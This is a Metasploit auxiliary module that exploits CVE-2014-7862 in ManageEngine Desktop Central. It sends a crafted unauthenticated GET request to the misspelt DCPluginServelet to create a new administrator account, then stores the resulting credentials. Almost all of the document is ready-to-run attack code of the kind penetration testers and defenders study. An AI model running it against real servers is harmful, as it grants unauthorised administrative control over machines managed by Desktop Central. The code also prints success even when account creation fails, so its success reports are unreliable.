ManageEngine Desktop Central Administrator Account Creation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',  
'Description' => %q{  
This module exploits an administrator account creation vulnerability in Desktop Central  
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in  
several versions of Desktop Central (including MSP) from v7 onwards.  
},  
'Author' => [  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2014-7862'],  
['OSVDB', '116554'],  
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],  
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],  
],  
'DisclosureDate' => '2014-12-31'  
)  
)  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The target port', 8020]),  
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),  
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),  
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),  
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])  
]  
)  
end  
  
def run  
# Generate password hash  
salt = Time.now.to_i.to_s  
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),  
'method' => 'GET',  
'vars_get' => {  
'action' => 'addPlugInUser',  
'role' => 'DCAdmin',  
'userName' => datastore['USERNAME'],  
'email' => datastore['EMAIL'],  
'phNumber' => Rex::Text.rand_text_numeric(6),  
'password' => password_encoded,  
'salt' => salt,  
'createdtime' => salt  
}  
})  
  
# Yes, "sucess" is really misspelt, as is "Servelet" ... !  
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/  
print_error('Administrator account creation failed')  
end  
  
print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
connection_details = {  
module_fullname: fullname,  
username: datastore['USERNAME'],  
private_data: datastore['PASSWORD'],  
private_type: :password,  
workspace_id: myworkspace_id,  
access_level: 'Administrator',  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
create_credential_and_login(connection_details)  
end  
end  
`